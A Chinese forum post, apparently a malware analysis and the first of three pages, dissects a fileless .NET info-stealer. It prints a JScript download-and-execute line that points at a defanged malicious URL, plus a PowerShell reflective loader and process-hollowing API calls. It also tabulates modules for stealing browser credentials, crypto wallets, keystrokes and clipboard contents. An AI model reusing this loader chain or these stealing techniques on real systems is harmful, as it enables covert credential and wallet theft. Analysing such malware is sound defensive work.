首页| 论坛| 搜索| 消息
主题:深度拆解:利用 WSF 与 .NET 反射注入的无文件窃密木马(附 C2 解密)
z3960发表于 2026-02-01 13:30
深度拆解:利用 WSF 与 .NET 反射注入的无文件窃密木马(附 C2 解密)

摘要:本文分析一个高度隐蔽的 .NET 窃密木马,其通过 .wsf → RC4 加密 PowerShell → .NET 反射注入的多层攻击链,将窃密载荷注入 aspnet_compiler.exe 进程,并通过 SMTP 邮箱回传数据。本文完整还原其解密逻辑,披露真实 C2,并提供防御方案。
1. 样本概览
初始载体:malicious.wsf(Windows Script File)样本SHA1:CA22BD8D07FCCE4376F33099CF77C0634BCBEAD2内嵌恶意地址:https://rossiwebtest[.]it/ax/Server_Encrypted.ps1最终载荷:.NET 窃密木马(PE 文件,以十进制数组形式嵌入)技术特点:多层加密(RC4 + AES-CBC)无文件执行(内存加载)反射式注入(Reflective Injection)合法进程伪装(aspnet_compiler.exe)多通道回传(当前启用 SMTP)
2. 攻击链全景图



3. 第一层:WSF 脚本行为


.wsf 文件嵌入混淆 JScript,核心逻辑如下: 复制代码 隐藏代码// 从网络下载加密 PS1http.open("GET", "https://rossiwebtest[.]it/ax/Server_Encrypted.ps1", false);http.send();// 保存并执行fso.CreateTextFile("C:\Temp\X.ps1").Write(decrypted);shell.Run('powershell.exe -nop -ep bypass -file "C:\Temp\X.ps1"');
✅ 规避点:使用合法 .wsf 格式绕过邮件网关;仅下载+运行。
4. 第二层:解密并执行PowerShell

使用 RC4 算法解密内嵌脚本: 复制代码 隐藏代码# 1. 加密RC4字符串$encryptedHex = 'xxx'# 2. RC4密钥$keyHex = '9ec4b132c2ba9e8b0052b2440b20253d'# 3. 解密并运行$decryptedScript = Decrypt-RC4Data -encryptedData $encryptedData -key $keyif ($decryptedScript) {# 执行解密后脚本Invoke-Expression $decryptedScript}else {Write-Error "Failed to decrypt the script using RC4"}
⚠️ 关键:全程无磁盘写入,规避文件扫描。
5. 第三层:PowerShell 加载器

解密后的 .ps1 包含两部分: 复制代码 隐藏代码# 1. Base64 编码的 .NET 加载器(BLACKHAWK.DOWN)$base64Assembly = 'TVqQAAMAAAAEAAAA...'# 2. 十进制字节数组(窃密病毒 PE 文件)$ExecutionPayload = @(77,90,144,0,3,0,...)# 3. 内存加载并调用$assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64Assembly))$assembly.GetType("BLACKHAWK.DOWN").GetMethod("SHOOT").Invoke($null, @("C:Windows...aspnet_compiler.exe", $ExecutionPayload))
⚠️ 关键:全程无磁盘写入,规避文件扫描。
6. 核心:反射式注入(Reflective Injection)

.NET 加载器
BLACKHAWK.DOWN.SHOOT 实现标准反射加载:
创建挂起进程 复制代码 隐藏代码CreateProcess("aspnet_compiler.exe", ..., CREATE_SUSPENDED);
解析 PE 结构读取 e_lfanew、节区表、重定位表
映射到目标进程 复制代码 隐藏代码IntPtr remoteBase = VirtualAllocEx(hProcess, imageBase, sizeOfImage, ...);WriteProcessMemory(hProcess, remoteBase, payload, ...);
修复重定位 & IAT
恢复执行 复制代码 隐藏代码SetThreadContext(hThread, &context); // EIP = AddressOfEntryPointResumeThread(hThread);
✅ 优势:无文件落地;使用微软签名进程(aspnet_compiler.exe)伪装;绕过大多数 EDR 的静态检测。
7. 窃密木马功能

注入的 .NET 程序(Stub.Program)具备完整窃密能力:病毒信息
模块名称(Token)推断功能详细说明AesGcm高级加密解密使用 AES-GCM 算法解密 C2 配置或载荷(认证加密)AntiAnalysis反沙箱/反调试检测虚拟机、调试器、分析工具,触发自毁ASN1DER证书/密钥解析解析 ASN.1 DER 编码的证书或私钥(如浏览器证书存储)BCryptWindows 加密 API 封装调用 BCrypt 系列函数实现底层加密操作BrowserCrypto浏览器加密数据恢复解密 Chrome/Edge 的加密 Cookie 或密码(使用 DPAPI 或主密钥)BrowserWallets浏览器加密钱包窃取窃取 MetaMask、Phantom 等扩展钱包的密钥文件ChromiumRecoveryChromium 浏览器数据提取从 Chrome/Edge/Brave 等提取密码、历史、CookieClipLogger剪贴板监控实时记录剪贴板内容(密码、钱包地址、2FA 令牌)Clipper加密货币地址替换监控剪贴板,将 BTC/ETH 等地址替换为攻击者地址Config全局配置管理存储 C2 地址、功能开关、版本号等(含加密字段)Counter窃取数据统计计数窃取的凭据数量(如 FtpHosts++)DataExtractionStructs数据结构定义定义窃取数据的结构体(如 FileZillaInfo)DesktopWallets桌面钱包窃取窃取 Exodus、Electrum、Atomic 等本地钱包文件DiscordDiscord 会话窃取提取 Discord 令牌、聊天记录、本地缓存DiscordSendLogsDiscord 回传通过 Webhook 将窃取数据上传至 DiscordDownloader无文件下载执行从 C2 下载并内存执行第二阶段载荷FileGrabber文件搜索与过滤按扩展名/路径扫描敏感文件(文档、数据库、源码)FileZillaFTP 客户端凭据窃取解析 FileZilla XML 配置,提取服务器/用户名/密码FoxMailFoxmail 邮件客户端窃取提取 Foxmail 账户、邮件、联系人FtpSendLogsFTP 回传将数据打包上传至攻击者 FTP 服务器GeckoRecoveryFirefox 数据提取从 Firefox(Gecko 引擎)提取密码、CookieGrabbedFiles文件窃取主控协调文件搜索、压缩、上传流程HeavensGate32/64 位跨架构调用在 64 位系统中调用 32 位 API(或反之),绕过检测Keylogger键盘记录器全局钩子记录按键,关联窗口标题(如 "Gmail - Chrome")Logging内部日志记录记录操作日志(用于调试或追踪执行流程)Melt文件隐藏/自删除设置文件为隐藏+系统属性,或删除自身MutexControl单实例运行控制创建互斥体防止多次运行(Mutex: 5EUV2...)OutlookOutlook 邮件窃取提取 Outlook 账户、邮件、联系人(通过 MAPI 或本地文件)Password Based Decryption基于密码的解密使用用户密码派生密钥解密数据(如 DPAPI 替代方案)Paths路径管理定义敏感目录(AppData、ProgramData、桌面等)PBKDF2密钥派生实现 PBKDF2 算法(用于 StringsCrypt 解密)Program主程序入口包含 Main(),协调所有模块启动Reports报告生成将窃取数据汇总为文本/ZIP 报告Screenshot屏幕截图定时截取全屏或活动窗口Self Destruct自毁机制删除自身并退出进程(防分析)SharpInjector进程注入引擎实现反射式 DLL/EXE 注入(替代 BLACKHAWK.DOWN)SmtpSendLogsSMTP 回传通过 SMTP 邮箱发送窃取数据(当前启用通道)Sqllite3ParserSQLite 数据库解析解析浏览器/应用的 SQLite 数据库(如 Login Data)StartDelay启动延迟延迟执行以绕过沙箱(沙箱通常只运行 30-60 秒)Startup持久化添加开机启动项(注册表 HKCU...Run)StringsCrypt字符串解密解密硬编码的 C2 配置(AES-CBC + PBKDF2)Systeminfo系统信息收集获取用户名、计算机名、CPU/GPU 型号、文化信息等Telegram / TelegramSendLogsTelegram 回传通过 Telegram Bot API 发送数据(当前未启用)TripleDES3DES 加密支持可能用于兼容旧版加密数据UploadTo多通道上传封装 Discord/FTP/SMTP/Telegram 上传逻辑Utils / Utils64工具函数文件
下一页 (1/3)
回帖(3):
3 # huwg
02-01 15:43
谢谢分享
2 # huwg
02-01 15:43
了解一下
1 # huwg
02-01 15:43
来看看

全部回帖(3)»
最新回帖
收藏本帖
发新帖